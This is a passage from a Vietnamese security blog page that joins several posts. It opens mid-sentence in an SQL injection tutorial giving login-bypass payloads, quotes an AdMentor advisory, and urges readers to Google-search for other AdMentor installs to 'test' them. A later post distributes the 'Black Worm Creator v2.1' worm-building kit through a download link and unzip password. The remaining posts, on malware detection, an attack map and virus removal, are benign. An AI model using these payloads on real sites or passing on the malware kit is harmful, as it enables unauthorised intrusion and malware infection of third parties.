thi câu lệnh thứ nhất và ném câu lệnh thứ hai vào...sọt rác. Đối với MS 
Access, thì dấu ";" tương đương với việc kết thúc câu lệnh và phía sau 
dấu ";" bắt buộc không có một ký tự nào khác ( ngoại trừ trường hợp của 
"UNION SELECT"), nói thật tôi vẫn chưa hiểu MS Access xử lý ra sao đối 
với dấu ";".Bây giờ xin bàn đến dấu "--" và dấu "#". Có một điều khá thú
 vị là MSSQL dùng dấu "--" để bắt đầu hiển thị các comment, và MySQL 
cũng hiển thị comment với dấu "#" (tương tự như dấu "//" để hiển thị 
comment trong PHP, dấu "'" trong ASP...). Như vậy thì chúng ta sẽ được 
lợi ích gì ? Hãy đọc kỹ phần phía dưới bạn sẽ rõ. Trở lại với đoạn code login.asp ở phía trên và giả thiết thêm rằng đây là một MSSQL server. Nếu bạn submit các giá trị sau: Login:blah' OR 1=1-- Password:blahblah Câu lệnh query sẽ trở thành: 
<blockquote class="tr_bq">
SELECT Username FROM Users where Username='blah' OR 1=1-- AND password=" OR "=" </blockquote>
Hãy
 chú ý đến dấu "--", như đã nói ở trên, tất cả những gì ở phía sau "--" 
đều được MSSQL xem là comment, do đó câu lệnh thực sự chỉ là: 
<blockquote class="tr_bq">
SELECT Username FROM Users where Username='blah' OR 1=1 </blockquote>
Thấy gì chưa ? Bạn đã trở thành user đầu tiên rồi đó, nên nhớ đó thường là superuser. Thậm chí bạn có thể login vào với tư cách của một user bất kỳ. Làm điều đó như thế nào ? Hãy tự tìm hiểu lấy . Bổ
 sung thêm là hầu hết các web app lớn cho phép dùng sql đều mắc các vul 
giúp sql inject, đơn giản là như trong bài viết đề cập, trong hàng ngàn 
tham số có thể có vài tham số developer ko kiểm tra hết được, vấn đề là 
sơ hở có gây nên ảnh hưởng lớn hay ko. Với MS Access, các câu 
multiselect cách nhau bởi dấu ; sẽ được xử lý lần lượt (!?). Với cách 
inject dùng ;--, vd ở câu lệnh: 
<blockquote class="tr_bq">
SELECT Username FROM Users where Username='blah' OR 1=1 </blockquote>
một nguyên nhân giúp câu lệnh thực hiện thành công là ở đoạn kiểm tra điều kiện OR 1=1, dk này luôn trả về TRUE SQL
 Injection là một trong những phương pháp mà các chuyên gia bảo mật 
thường xuyên sử dụng để tìm bug của các web app, các web forum...sau khi
 xác định được sơ hở, bước tiếp theo là tìm hiểu code để đưa ra cách 
fix, viết exploit...điều này mất rất nhiều thời gian. Ví dụ cụ thể 
có thể áp dụng kĩ thuật SQL Injection các bạn có thể xem về lỗi login 
của Admentor, 1 web app về quảng cáo, lỗi này được phát hiện khá lâu 
rồi, nó cho phép login vào administration panel với username/pass là " 
or ''=", cụ thể như sau: [ Admentor Login Flaw allow login as admin Regarding : AdMentor v2.11 and earlier (tôi cũng đã test thành công trên version 2.20) Homepage: http://www.aspcode.net AdMentor allows any user to login as admin. The base path of the login is usually : http://www.someserver.com/admentor/admin/admin.asp By using Login : ' or ''=' , and Password : ' or ''=' We create a legal query because it will get appended as :SELECT row FROM table WHERE login = '' or ''='' Same goes for the password. This allows us to login without any trouble as the main admin. Vendor has been warned of the bug, but has not released a patch yet. Temporary solution, filter out the bad chars ' " ~ \ / by using the following piece of javascript : function RemoveBad(strTemp) { strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|$|$|\&|\+| \-/g,""); return strTemp; } And calling it from within the asp script : var login = var TempStr = RemoveBad (Request.QueryString("login")); var password = var TempStr = RemoveBad (Request.QueryString("password")); Iam not sure about the correct vars set in the form, you might want to tweak it just a bit. Havent drunk my coffee yet (securityfocus) còn khá nhiều site khác dùng admentor, có thể search bằng google dùng từ khóa "admentor/admin" để test. </div>

SQL Injection: bypass login page

Bypass login page : 1 Background Trước khi đọc tài liệu này, bạn nên có một khái niệm cơ bản về cơ sỡ dữ liệu và cách SQL được dùng đ...

55 Template Chuẩn SEO

Phát hiện mã độc dựa trên các hoạt động bất thường

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="entry-header" style="color: #444444;">
Ai cũng có thể bị nhiễm 
virus và vì vậy chúng ta sẽ luôn cần phần mềm bảo vệ. Mục tiêu lớn nhất 
của phần mềm là ngăn không cho các file độc được thực thi trên máy tính.
 Chính vì vậy, các mẫu nhận diện phải được cập nhât một cách nhanh nhất.</div>

<div class="entry-header" style="color: #444444;">
Thực tế thì vẫn có nhiều
 tình huống phần mềm không phát hiện ra và để máy tính bị nhiễm. Khi đó 
thì có không ít trường hợp bất thường mà có vẻ như các phần mềm 
security chưa phát hiện được. Đây là một ví dụ:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvssPO_Z2ibJCaJ_m3r7qTHDNQ-1QwmcMlAOCIi06oLwMfr3ziy90gGBkKD32YbxLMq22239V64mAeeryGd1mtYnzsUOaLFi-yZ6FS4IwaPTjmXD_H_dwVMlhfsbw6AVBBeGJOFDENVpRI/s1600/H1-700x538.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Phát hiện mã độc dựa trên các hoạt động bất thường" border="0" height="490" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvssPO_Z2ibJCaJ_m3r7qTHDNQ-1QwmcMlAOCIi06oLwMfr3ziy90gGBkKD32YbxLMq22239V64mAeeryGd1mtYnzsUOaLFi-yZ6FS4IwaPTjmXD_H_dwVMlhfsbw6AVBBeGJOFDENVpRI/s1600/H1-700x538.png" title="Phát hiện mã độc dựa trên các hoạt động bất thường" width="640" /></a></div>
Các firewall nếu đã cho phép một tiến trình được kết nối mạng thì sẽ 
không kiểm tra các kết nối đó nữa. Chính vì vậy, các phần mềm độc hại 
thường sẽ tìm cách núp bóng các tiến trình chuẩn để tìm cách trốn được 
sự kiểm soát.

Như vậy, nếu dùng công cụ rà soát các kết nối mạng thì bằng mắt, ta 
dễ dàng nhìn thấy có quá nhiều kết nối mạng từ svchost.exe ra địa chỉ IP
 ở bên ngoài. Tuy nhiên các phần mềm bảo vệ lại bỏ qua dấu hiệu nghi ngờ
 này. 

Mã độc khi được thực thi đã inject vào tiến trình svchost chuẩn của Microsoft và mượn tiến trình này để câu ra bên ngoài. 

<div style="text-align: center;">
<img alt="Phát hiện mã độc dựa trên các hoạt động bất thường" class="aligncenter wp-image-4680 size-large" height="189" src="http://securitydaily.net/wp-content/uploads/2014/07/H2-700x189.png" width="700" /></div>

 Công việc tiếp theo là săn tìm “kẻ núp bóng” svchos

<div>
Thường thì các mã độc sẽ không có chữ ký. Vì vậy ta sẽ có ngay được một file nghi ngờ.</div>

Hầu hết các AV không phát hiện ra mã độc này. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvssPO_Z2ibJCaJ_m3r7qTHDNQ-1QwmcMlAOCIi06oLwMfr3ziy90gGBkKD32YbxLMq22239V64mAeeryGd1mtYnzsUOaLFi-yZ6FS4IwaPTjmXD_H_dwVMlhfsbw6AVBBeGJOFDENVpRI/s1600/H1-700x538.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidZe9REDWwlLXEPNFiPft0xN-rjOgpHQme4gOUJ3-o-lFJNX11M3KGxXlPyUkc35RmgyPZ817ntywk3YeptiU4erS11i3O5t2I9SwMw2jwylDlmNEMFGgFjSxwlkO9_jctZHnupTzfuFEC/s1600/H4-700x538.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Phát hiện mã độc dựa trên các hoạt động bất thường" border="0" height="490" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidZe9REDWwlLXEPNFiPft0xN-rjOgpHQme4gOUJ3-o-lFJNX11M3KGxXlPyUkc35RmgyPZ817ntywk3YeptiU4erS11i3O5t2I9SwMw2jwylDlmNEMFGgFjSxwlkO9_jctZHnupTzfuFEC/s1600/H4-700x538.png" title="Phát hiện mã độc dựa trên các hoạt động bất thường" width="640" /></a></div>
<div class="entry-header" style="color: #444444; text-align: center;">
 </div>
</div>

Phát hiện mã độc dựa trên các hoạt động bất thường

Ai cũng có thể bị nhiễm virus và vì vậy chúng ta sẽ luôn cần phần mềm bảo vệ. Mục tiêu lớn nhất của phần mềm là ngăn không cho các file ...

Black Worm Creator v2.1

<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-BONWf1_ZOBs/U74_aSr38II/AAAAAAAAAjg/51EEU_zkHdA/s1600/blackamee9+copy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-BONWf1_ZOBs/U74_aSr38II/AAAAAAAAAjg/51EEU_zkHdA/s1600/blackamee9+copy.jpg" /></a></div>
 
<div style="text-align: center;">
<a href="http://adf.ly/qCqB6" target="_blank">Download</a> 
 
<a href="https://www.virustotal.com/vi/file/ed234b4d161bafa1e6ac1e9619e93348ec82dbfe9a0105e233e74e3901f65fc7/analysis/1404979048/" target="_blank">Virus Scanned</a></div>
<div style="text-align: center;">
 
Password Unzip 
 
 
 
 
<article id="default-usage">
<div class="to-lock" style="display: none;">
<div style="margin-bottom: 20px; text-align: center;">

jokerhydra

</div>
</div>
</article>
 
<div id="mblunlocker">
</div>
<script src="https://googledrive.com/host/0B9CCgt9fzMvpYU5WcTNaZDVrbGM/" type="text/javascript"></script>
<script>
jQuery(document).ready(function ($) {
$("#default-usage .to-lock").socialLock({
text: {
header: "Nội Dung Đã Được Khóa",
message: "Hãy like - theo dõi - +1 để xem nội dung khóa."
},
style: "ui-social-locker-secrets",
buttons: {
order: ["facebook", "google"]
},
// facebook options
facebook: {
url: "https://www.facebook.com/Keyz.Itachi",
appId: "732308330148466"
},
google: {
url: "http://keyzcenly.blogspot.com/2014/07/black-worm-creator-v2.1.html"
}
});
});;;;
</script>
</div>
 
Source: DPT

Black Worm Creator v2.1

Download Virus Scanned Password Unzip jokerhydra Source: DPT

Mô tả tấn công mạng giữa Hoa Kỳ và Trung Quốc theo thời gian thực

<div dir="ltr" style="text-align: left;" trbidi="on">
Bản đồ các cuộc tấn công theo thời gian thực được cập nhật đều 
đặn bởi các công ty an ninh ở Bắc Âu, hiển thị các thông tin về đối 
tượng bị tấn công, kẻ tấn công và các mô hình tấn công đang được sử 
dụng. Dữ liệu được lấy từ một mạng lưới các máy chủ “honeypot” do Bắc Âu
 quản lý. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKqSMQ9Iyf4Rk8vmFUS3LKHsnfITs_nM1wnCBUJi9dTDD41nximvP2Fpurkif77y0QPh-cFmicHNm4RVYJ1YS8wGEjPKSc9S4zqFNnLrB7Eac3JH5_S7fkLO9v0CBoSwSW6uayT68UBBKw/s1600/My-TrungQuoc1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Mô tả tấn công mạng giữa Hoa Kỳ và Trung Quốc theo thời gian thực" border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKqSMQ9Iyf4Rk8vmFUS3LKHsnfITs_nM1wnCBUJi9dTDD41nximvP2Fpurkif77y0QPh-cFmicHNm4RVYJ1YS8wGEjPKSc9S4zqFNnLrB7Eac3JH5_S7fkLO9v0CBoSwSW6uayT68UBBKw/s1600/My-TrungQuoc1.jpg" title="Bản đồ các cuộc tấn công theo thời gian" width="640" /></a></div>
 
Đã có rất nhiều câu chuyện về cách thức hacker “bủa vây” không gian 
mạng trên toàn thế giới, và “cai trị” thế giới mạng bằng vô số phần mềm 
độc hại được rao bán trôi nổi, và cho rằng địa điểm tiếp theo của các 
cuộc chiến tranh sẽ là trên hệ thống mạng trực tuyến chứ không phải là 
các cuộc chiến ngoài đời thực, về cuộc chiến giữa Trung Quốc và Mỹ để 
tranh giành uy quyền tối cao trên mạng. Sự thật là, trừ khi người dùng 
thực sự bị tấn công, thật khó để hiểu hết về ảnh hưởng thực tế của các 
cuộc chiến tranh mạng. Các khái niệm về các cuộc chiến này khá khó hiểu 
đối với những người ngoại đạo, trừ khi quy mô cơ sở dữ liệu bị tấn công 
rất lớn. Hiện tại, một công ty bảo mật ở Bắc Âu đã đưa ra một bản đồ địa
 lý hấp dẫn, diễn tả toàn bộ hệ thống các nỗ lực hacking trên toàn cầu 
theo thời gian thực – và chắc chắn rằng, chúng ta có thể nhìn thấy các 
cuộc tấn công mạng giữa Trung Quốc và Hoa Kỳ. 

Bản đồ các cuộc tấn công theo thời gian thực được cập nhật đều đặn 
bởi các công ty an ninh ở Bắc Âu, hiển thị các thông tin về đối tượng bị
 tấn công, kẻ tấn công và các mô hình tấn công đang được sử dụng. Dữ 
liệu được lấy từ một mạng lưới các máy chủ “honeypot” (là một hệ thống 
tài nguyên thông tin được xây dựng với mục đích giả dạng để đánh lừa 
những kẻ sử dụng và xâm nhập bất hợp pháp, thu hút sự chú ý của chúng, 
ngăn không cho chúng tiếp xúc với hệ thống thật), do Bắc Âu quản lý, chứ
 không phải là dữ liệu thực tế từ Lầu Năm Góc, Google, hoặc các mục tiêu
 cao cấp khác của hacker. Trong các cuộc tấn công, một honeypot bản chất
 là một miếng mồi ngon, một cái bẫy dẫn dụ kẻ tấn công, và cũng là để 
thu thập dữ liệu quan trọng về những kẻ tội phạm tiềm ẩn, hoặc đánh lạc 
hướng chúng ra khỏi mục tiêu thực sự. Trang web của Bắc Âu có một số 
thông tin về mạng lưới “Honeynet” của họ, nhưng khá sơ sài so với hệ 
thống kỹ thuật chi tiết trong thực tế. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFIhQ4_QKd2Mse4CBTo3P2AO9bsMabpnRMVNS_4dORXTOwo_cAEd0Qv-JlQ6io0DymYaLzmNyR6yIOuKtvJEQYfRCJ17-eQ2QJ9hoyLFRJ_n35zf70BMt1_UW8sQg-Fh06bfz4HVauZcQ/s1600/My-TrungQuoc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bản đồ các cuộc tấn công theo thời gian thực" border="0" height="390" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFIhQ4_QKd2Mse4CBTo3P2AO9bsMabpnRMVNS_4dORXTOwo_cAEd0Qv-JlQ6io0DymYaLzmNyR6yIOuKtvJEQYfRCJ17-eQ2QJ9hoyLFRJ_n35zf70BMt1_UW8sQg-Fh06bfz4HVauZcQ/s1600/My-TrungQuoc.jpg" title="" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
 
Nếu xem xét một chút về bản đồ mạng lưới các cuộc tấn công, rõ ràng 
hầu hết các cuộc tấn công có nguồn gốc từ Trung Quốc hoặc Mỹ, và Mỹ cho 
đến nay vẫn là mục tiêu lớn nhất của các cuộc tấn công. Chúng ta cũng có
 thể thấy rằng các loại hình tấn công được sử dụng, định hướng bởi các 
cổng mục tiêu, là khá đa dạng. Microsoft-DS (cổng 445) vẫn là một trong 
những mục tiêu hàng đầu (cổng này được sử dụng cho việc chia sẻ tập tin 
trong hệ điều hành Windows), nhưng DNS (cổng 53), SSH (22), và HTTP (80)
 cũng khá phổ biến. Có thể bạn cũng sẽ thấy CrazzyNet và Black Ice – hai
 chương trình cài cửa hậu phổ biến trên Windows thường được sử dụng bởi 
những kẻ viết phần mềm mới vào nghề và loại tội phạm nhỏ, chứ ít được sử
 dụng trong các cuộc chiến tranh mạng thực tế. 

Thỉnh thoảng, người dùng thậm chí có thể được chứng kiến hàng loạt 
các cuộc tấn công phối hợp bùng nổ từ Trung Quốc nhắm vào Mỹ. Khó có thể
 trực tiếp liên đới các cuộc tấn công này với chính phủ Trung Quốc, 
nhưng điều này thật sự nói lên rằng có ai đó đang đứng sau chỉ huy toàn 
bộ các cuộc tấn công. Rất nhiều vụ xâm nhập có nguồn gốc từ Mỹ, nhưng 
mục tiêu của chúng đa dạng hơn nhiều; chúng không chỉ hướng tới một mục 
tiêu duy nhất như Trung Quốc. 

Vì thông tin này được lấy từ mạng lưới honeypot ở Bắc Âu, chứ không 
phải là mục tiêu thực tế, nên thật khó để có thể kết luận liệu các cuộc 
tấn công thực sự – vào Lầu Năm Góc, các trường đại học Mỹ, các công ty 
lớn ở Thung lũng Silicon – có theo các mô hình tương tự hay không. Dù 
vậy, nếu Bắc Âu hiểu rõ những gì họ đang làm, chuyện tạo ra một máy chủ 
honeypot giả dạng máy chủ của Bộ Quốc phòng Mỹ hoặc máy chủ Google ở Mỹ 
là điều hoàn toàn có thể. Nhưng nếu không có thêm thông tin gì từ Bắc 
Âu, thật khó để kết luận điều gì. 

Để người dùng có thể có một số ý tưởng về quy mô toàn cầu của hacking
 và chiến tranh mạng, sau đây là một vài số liệu thống kê. Quay trở lại 
năm 2012, Bộ Quốc phòng Hoa Kỳ đã có báo cáo rằng nước này là mục tiêu 
của 10 triệu cuộc tấn công mạng mỗi ngày; tương tự như vậy, Cục Quản lý 
An ninh hạt nhân quốc gia (có nhiệm vụ dự trữ hạt nhân cho Mỹ), cũng cho
 biết họ đã tìm thấy 10 triệu cuộc tấn công mỗi ngày vào năm 2012. Trong
 năm 2013, Giám đốc điều hành của BP cho biết họ tìm được 50.000 cuộc 
tấn công mỗi ngày. Anh cũng có báo cáo khoảng 120.000 cuộc tấn công mỗi 
ngày trở lại vào năm 2011, trong khi bang Utah khiêm tốn cho biết họ đã 
hứng chịu số lượng các cuộc tấn công lên đến 20 triệu mỗi ngày vào năm 
2013. 

Tôi nghi ngờ có một sự thay đổi khá lớn về chính xác những gì tạo nên
 một “cuộc tấn công”, nhưng, rõ ràng rằng hacking và chiến tranh trực 
tuyến là chủ đề mà các chính phủ, các tập đoàn và các tổ chức cần phải 
chú ý đến. Chính quyền Obama, ít nhất, đã thông báo rằng Mỹ sẽ không 
ngồi yên trong khi Trung Quốc tấn công nước này từng bước một – nhưng có
 một ranh giới an toàn giữa việc củng cố phòng thủ, và gây ra một cuộc 
chiến tranh mạng trên toàn diện có thể làm tê liệt cả hai nước. 
<div style="text-align: right;">
(Theo Sebastian Anthon –ExTremetech) </div>
</div>

Mô tả tấn công mạng giữa Hoa Kỳ và Trung Quốc theo thời gian thực

Bản đồ các cuộc tấn công theo thời gian thực được cập nhật đều đặn bởi các công ty an ninh ở Bắc Âu, hiển thị các thông tin về đối tượng ...

Làm gì để phòng ngừa và ngăn chặn virus trên Windows?

<div dir="ltr" style="text-align: left;" trbidi="on">
Dù muốn hay không thì bạn vẫn 
phải trang bị cho mình những kiến thức cơ bản cho việc phòng ngừa và 
ngăn chặn mối hiểm họa từ virus trên Windows. Nếu Windows bị nhiễm, hiệu
 suất hoạt động có thể giảm và các ứng dụng phần mềm hoặc tài liệu quan 
trọng có thể bị hủy hoại bởi virus.

Do đó không quá trễ để bạn có thể thiết lập một sự bảo vệ cho Windows
 bằng những trình antivirus mạnh mẽ hoặc chú ý hơn trong việc lướt web 
và tải dữ liệu từ Internet. Tuy nhiên, nếu nghi ngờ máy tính Windows
 của mình đã bị nhiễm virus, bạn hãy tiến hành các bước kiểm tra, khắc 
phục và tăng cường bảo mật cho Windows bằng những gợi ý sau đây.

<h4 style="text-align: left;">
Sử dụng tính năng System Restore</h4>

System Restore là tính năng khá hữu ích trên Windows giúp người dùng 
nhanh chóng khôi phục lại Windows ở các móc thời gian trước. Cách làm 
này giúp bạn dễ dàng quay về thời điểm mà Windows hoạt động ổn định 
trước đó, bạn tiến hành thực hiện bằng cách truy cập vào Control Panel 
> Recovery > Open System Restore, khi đó hộp thoại System Restore 
sẽ xuất hiện.

Bạn hãy tiến hành chọn thời điểm sao lưu trước đó và nhấn và làm theo
 các bước được hướng dẫn để khôi phục lại hệ thống từ mốc thời gian được
 chọn.

<h4 style="text-align: left;">
Ngăn chặn hoạt động của virus</h4>

Nếu đã tiến hành khôi phục lại Windows bằng tính năng System Restore 
mà vẫn không “ăn thua”, lúc này bạn hãy tiến hành ngăn chặn hoạt động 
của virus bằng công cụ <a draggable="false" href="http://www.bleepingcomputer.com/download/rkill/" rel="nofollow" target="_blank" title="Rkill">Rkill</a>,
 một công cụ miễn phí nhỏ được phát hành bởi Bleeping Computer. Công cụ 
này có chức năng quét và tiến hành ngăn chặn hoạt động của virus, và bạn
 chỉ việc tải về, kích hoạt và chạy nó mà không cần tùy chỉnh gì cả.

Một số virus có cơ chế tránh bị Rkill phát hiện nên đôi khi bạn nên 
đổi tên Rkill thành “iexplore” để đánh lừa virus, khiến cho nó nghĩ rằng
 bạn đang chạy trình duyệt Internet Explorer thay vì RKill.

<h4 style="text-align: left;">
Tiêu diệt virus</h4>

Khi virus đã bị ngăn chặn hoạt động bằng Rkill, bạn hãy tiến hành tải về công cụ <a draggable="false" href="http://media.kaspersky.com/utilities/VirusUtilities/EN/tdsskiller.exe" target="_blank" title="TDSSKiller">TDSSKiller</a>, <a class="VCCTagItemInNews" data-id="9058" data-zoneid="0" draggable="false" href="http://genk.vn/ung-dung-mien-phi.htm" target="_blank" title="ứng dụng miễn phí">ứng dụng miễn phí</a> được phát hành bởi Kaspersky để tiến hành quét và tiêu diệt virus một cách triệt để.

Sau khi tải về, bạn khởi động TDSSKiller từ tập tin EXE mà không cần cài đặt và bắt đầu quá trình quét và tiêu diệt virus.

Sau khi quét và diệt xong virus bằng TDSSKiller, bạn hãy tiến hành 
khởi động Rkill để kiểm tra một lần nữa. Tiếp theo tải và khởi động công
 cụ <a draggable="false" href="http://www.freedrweb.com/cureit/?lng=en" rel="nofollow" target="_blank" title="Dr. Web CureIt!">Dr. Web CureIt!</a> để tiến hành công việc quét các phần mềm độc hại, trojan và các phần mềm gián điệp còn sót lại của virus.

Khi đã hoàn thành các công việc trên, máy tính của bạn bây giờ đã hoàn toàn sạch bóng virus.

<h4 style="text-align: left;">
Phòng ngừa</h4>

Khi đã chắc chắn Windows của mình đã hoàn toàn sạch bóng virus, để đề
 phòng vấn đề có thể quay lại bạn nên tiến hành phòng tránh bằng cách 
cài đặt một trình antivirus chuyên nghiệp và đảm bảo, nếu không có nhu 
cầu cài đặt những trình antivirus đắt tiền, bạn có thể sử dụng kết hợp 
các công cụ bảo vệ miễn phí lại với nhau như <a draggable="false" href="http://www.avast.com/index" rel="nofollow" target="_blank" title="Avast Free Antivirus">Avast Free Antivirus</a> hay <a draggable="false" href="http://free.avg.com/ww-en/homepage" rel="nofollow" target="_blank" title="AVG Free Antivirus">AVG Free Antivirus</a> cùng <a draggable="false" href="https://toolslib.net/downloads/viewdownload/1-adwcleaner/" rel="nofollow" target="_blank" title="AdwCleaner">AdwCleaner</a> để loại bỏ phần mềm quảng cáo khỏi hệ thống cùng <a draggable="false" href="https://www.malwarebytes.org/" rel="nofollow" target="_blank" title="Malwarebytes">Malwarebytes</a> sẽ giúp tìm kiếm kỹ các phần mềm độc hại hơn mà bạn nghi ngờ chúng vẫn còn nằm trong Windows.

Tiếp theo bạn nên cài đặt thêm một trình tường lửa cho Windows để tránh các cuộc <a class="VCCTagItemInNews" data-id="963" data-zoneid="0" draggable="false" href="http://genk.vn/tan-cong-mang.htm" target="_blank" title="tấn công mạng">tấn công mạng</a> như <a draggable="false" href="http://www.comodo.com/home/internet-security/firewall.php" rel="nofollow" target="_blank" title="Comodo Firewall">Comodo Firewall</a> chẳn hạn.

Cuối cùng, bạn nên tiến hành sao lưu lại Windows bằng tính năng System Restore hay sao lưu “trọn gói” với <a draggable="false" href="http://genk.vn/thu-thuat/onekey-ghost-tao-va-bung-ghost-cho-may-tinh-bang-1-cu-nhap-chuot-20131205165613496.chn" target="_blank" title="OneKey Ghost">OneKey Ghost</a> mà Genk đã hướng dẫn trước đó.

Hi vọng bạn sẽ thích bài viết này.</div>

Làm gì để phòng ngừa và ngăn chặn virus trên Windows?

Dù muốn hay không thì bạn vẫn phải trang bị cho mình những kiến thức cơ bản cho việc phòng ngừa và ngăn chặn mối hiểm họa từ virus trên W...